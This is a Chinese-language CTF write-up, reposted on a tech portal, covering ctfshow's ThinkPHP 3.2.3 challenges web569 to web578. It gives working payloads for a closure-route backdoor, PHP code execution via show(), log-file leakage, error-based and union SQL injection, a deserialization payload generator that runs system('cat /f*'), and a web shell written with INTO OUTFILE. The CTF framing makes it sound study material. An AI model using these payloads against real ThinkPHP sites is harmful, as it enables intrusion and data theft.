IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> ctfshow- thinkphp专题笔记一 -> 正文阅读

[PHP知识库]ctfshow- thinkphp专题笔记一

TP3.23完全开发手册

web569(pathinfo的运用)

在这里插入图片描述TP3.2.3开发手册-URL模式
入口文件是应用的单一入口,对应用的所有请求都定向到应用入口文件,系统会从URL参数中解析当前请求的模块、控制器和操作:

http://serverName/index.php/模块/控制器/操作

payload:

http://serverName/index.php/Admin/Login/ctfshowLogin

web570(闭包路由后门)

在这里插入图片描述
审计提供的Application文件
在这里插入图片描述这里详情TP3.2.3开发手册-闭包支持

    'ctfshow/:f/:a' =>function($f,$a){
    	call_user_func($f, $a);
    	}
    )
);

在这里插入图片描述

web571(show方法导致的命令执行)

看了师傅们写的wp自己测试了下
将附件的Application替代thinkphp3.23里面的Application
先看下效果
在这里插入图片描述接下来就是找下原理
我们要分析一下show这个函数的走向,在vscode上下断点
在这里插入图片描述

然后访问

http://127.0.0.1/thinkphp3.23/index.php/Home/Index/index?n=<?php phpinfo();?>

我们传的参数n是content变量
先进入show函数->display函数->fetch函数->eval函数执行content

web572(debug模式访问log文件)

默认情况是debug模式下会记录日志,因此如果没有限制访问目录就容易出现文件泄露
且这个日志文件的命令规律是:年_月_日.log且日志文件是在\Application\Runtime\Logs\目录下的

payload:

http://serverName/Application/Runtime/Logs/Home/21_11_23.log

bp爆破日志文件
发现后门可以直接rce

在这里插入图片描述

在这里插入图片描述

web573(find方法引起的SQL注入)

ThinkPHP3.2.3代码审计【find方法引起的SQL注入】

payload:

http://serverName/index.php?id[where]=1 and updatexml(1,make_set(3,'~',(select flag4s from flags)),1)#
http://serverName/index.php?id[where]=1 and updatexml(1,make_set(3,'~',(select right(flag4s,24) from flags)),1)#

在这里插入图片描述

web574(ThinkPHP 3.2.3的SQL注入)

http://serverName/index.php?id=1 and updatexml(1,make_set(3,'~',(select flag4s from flags)),1)#
http://serverName/index.php?id=1 and updatexml(1,make_set(3,'~',(select right(flag4s,24) from flags)),1)#

web575(ThinkPHP v3.2反序列化POP链)

ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链
羽师傅分析的很详细
源码:

$user= unserialize(base64_decode(cookie('user')));
if(!$user || $user->id!==$id){
$user = M('Users');
$user->find(intval($id));
cookie('user',base64_encode(serialize($user->data())));
}
$this->show($user->username);
}

show()函数可以执行php代码
可以直接构造一个类
貌似群主考察的不是这个点

payload:

<?php
namespace Home\Controller{
class IndexController {
    public $id='1';
    public $username='<?php system("cat /f*");?>';
}
}
namespace{
    use Home\Controller\IndexController;
    echo base64_encode(serialize(new IndexController()));
}
?>

传参?id=1
然后改user的cookie

在这里插入图片描述

web576(ThinkPHP v3.2注释注入)

在这里插入图片描述
当我们传入id=1时最终的sql语句为select * from users where id=1 limit 1 /* 1*/
构造payload:

?id=1*/ into outfile "/var/www/html/1.php" LINES STARTING BY '<?php eval($_POST[0]);?>'/*

在这里插入图片描述

web577(exp注入)

复现
在这里插入图片描述
payload:

?id[0]=exp&id[1]==-1 union select 1,group_concat(flag4s),3,4 from flags

web578(模板变量覆盖)

在这里插入图片描述

payload:

?name[_content]=<?php system('cat /f*');?>
  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-11-28 11:04:32  更:2021-11-28 11:04:38 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/27 21:14:38-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计